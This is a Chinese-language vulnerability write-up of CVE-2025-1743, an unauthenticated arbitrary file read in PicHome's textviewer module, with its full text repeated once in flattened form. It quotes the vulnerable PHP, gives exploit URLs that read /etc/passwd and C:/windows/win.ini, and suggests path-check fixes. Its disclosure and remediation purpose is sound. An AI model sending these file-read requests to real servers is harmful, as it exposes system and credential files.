CVE-2025-1743 漏洞代码审计分析
字数 1341 2025-08-29 08:30:05

CVE-2025-1743 PicHome 前台任意文件读取漏洞分析

漏洞概述

漏洞编号: CVE-2025-1743
影响产品: PicHome 开源网盘程序
漏洞类型: 前台任意文件读取
危害等级: 高危
影响版本: 漏洞披露时所有版本

PicHome 是一款功能强大的开源网盘程序,具有文件管理、图像和媒体文件管理、文件共享和AI辅助管理等功能。

漏洞描述

PicHome 系统中存在一个前台任意文件读取漏洞,攻击者无需认证即可通过构造特殊请求读取服务器上的任意文件,可能导致敏感信息泄露。

技术分析

1. 路由机制分析

PicHome 采用典型的基于钩子(Hook)和路由的应用程序初始化流程,类似于Discuz!、WordPress等系统:

  1. 请求首先进入 index.php
  2. 包含 /data/cache/route.php
  3. 检查 route.php 中是否存在 pathinfo 数组
  4. 如果不存在,则包含 /core/dzzstart.php
  5. dzzstart.php 进一步包含 /core/VBase.php

路由格式: index.php?mod=模块名(文件名)&op=函数名

2. 漏洞位置

漏洞位于 /dzz/textviewer/index.php 文件中,通过以下路由访问:
index.php?mod=textviewer&op=index

3. 漏洞代码分析

关键漏洞代码如下:

// 在/dzz/textviewer/index.php中
if(isset($_GET['src'])) {
    $src = urldecode($_GET['src']);
    $content = file_get_contents($src);
    // ...后续处理...
}

漏洞成因:

  1. 直接接收用户输入的 src 参数
  2. 仅进行URL解码后直接传递给 file_get_contents()
  3. 无任何路径限制或过滤措施

4. 利用方式

攻击者可以构造以下URL读取任意文件:

  • Windows系统: /index.php?mod=textviewer&op=index&src=C:/windows/win.ini
  • Linux系统: /index.php?mod=textviewer&op=index&src=/etc/passwd

漏洞复现

复现步骤

  1. 搭建PicHome环境
  2. 访问以下URL之一:
    • Windows: http://target/index.php?mod=textviewer&op=index&src=C:/windows/win.ini
    • Linux: http://target/index.php?mod=textviewer&op=index&src=/etc/passwd
  3. 观察返回内容,确认是否读取到目标文件

复现截图

[此处应插入复现成功的截图]

修复建议

  1. 输入验证:

    • src 参数进行严格过滤
    • 限制只能访问特定目录下的文件
  2. 路径检查:

    $allowed_path = '/var/www/pichome/uploads/';
    $src = realpath(urldecode($_GET['src']));
    if(strpos($src, $allowed_path) !== 0) {
        die('Access denied');
    }
    
  3. 使用白名单:

    • 只允许特定的文件扩展名
    • 维护可访问文件的白名单
  4. 权限控制:

    • 即使修复后也应确保web服务器用户权限最小化

总结

CVE-2025-1743漏洞源于PicHome系统中对用户输入缺乏充分验证,直接使用file_get_contents()读取任意文件路径。这类漏洞危害性高,攻击者可能读取服务器上的敏感文件(如配置文件、密码文件等),建议用户及时更新到修复版本或按照上述建议进行手动修复。

CVE-2025-1743 PicHome 前台任意文件读取漏洞分析 漏洞概述 漏洞编号 : CVE-2025-1743 影响产品 : PicHome 开源网盘程序 漏洞类型 : 前台任意文件读取 危害等级 : 高危 影响版本 : 漏洞披露时所有版本 PicHome 是一款功能强大的开源网盘程序,具有文件管理、图像和媒体文件管理、文件共享和AI辅助管理等功能。 漏洞描述 PicHome 系统中存在一个前台任意文件读取漏洞,攻击者无需认证即可通过构造特殊请求读取服务器上的任意文件,可能导致敏感信息泄露。 技术分析 1. 路由机制分析 PicHome 采用典型的基于钩子(Hook)和路由的应用程序初始化流程,类似于Discuz !、WordPress等系统: 请求首先进入 index.php 包含 /data/cache/route.php 检查 route.php 中是否存在 pathinfo 数组 如果不存在,则包含 /core/dzzstart.php dzzstart.php 进一步包含 /core/VBase.php 路由格式 : index.php?mod=模块名(文件名)&op=函数名 2. 漏洞位置 漏洞位于 /dzz/textviewer/index.php 文件中,通过以下路由访问: index.php?mod=textviewer&op=index 3. 漏洞代码分析 关键漏洞代码如下: 漏洞成因: 直接接收用户输入的 src 参数 仅进行URL解码后直接传递给 file_get_contents() 无任何路径限制或过滤措施 4. 利用方式 攻击者可以构造以下URL读取任意文件: Windows系统: /index.php?mod=textviewer&op=index&src=C:/windows/win.ini Linux系统: /index.php?mod=textviewer&op=index&src=/etc/passwd 漏洞复现 复现步骤 搭建PicHome环境 访问以下URL之一: Windows: http://target/index.php?mod=textviewer&op=index&src=C:/windows/win.ini Linux: http://target/index.php?mod=textviewer&op=index&src=/etc/passwd 观察返回内容,确认是否读取到目标文件 复现截图 [ 此处应插入复现成功的截图 ] 修复建议 输入验证 : 对 src 参数进行严格过滤 限制只能访问特定目录下的文件 路径检查 : 使用白名单 : 只允许特定的文件扩展名 维护可访问文件的白名单 权限控制 : 即使修复后也应确保web服务器用户权限最小化 总结 CVE-2025-1743漏洞源于PicHome系统中对用户输入缺乏充分验证,直接使用 file_get_contents() 读取任意文件路径。这类漏洞危害性高,攻击者可能读取服务器上的敏感文件(如配置文件、密码文件等),建议用户及时更新到修复版本或按照上述建议进行手动修复。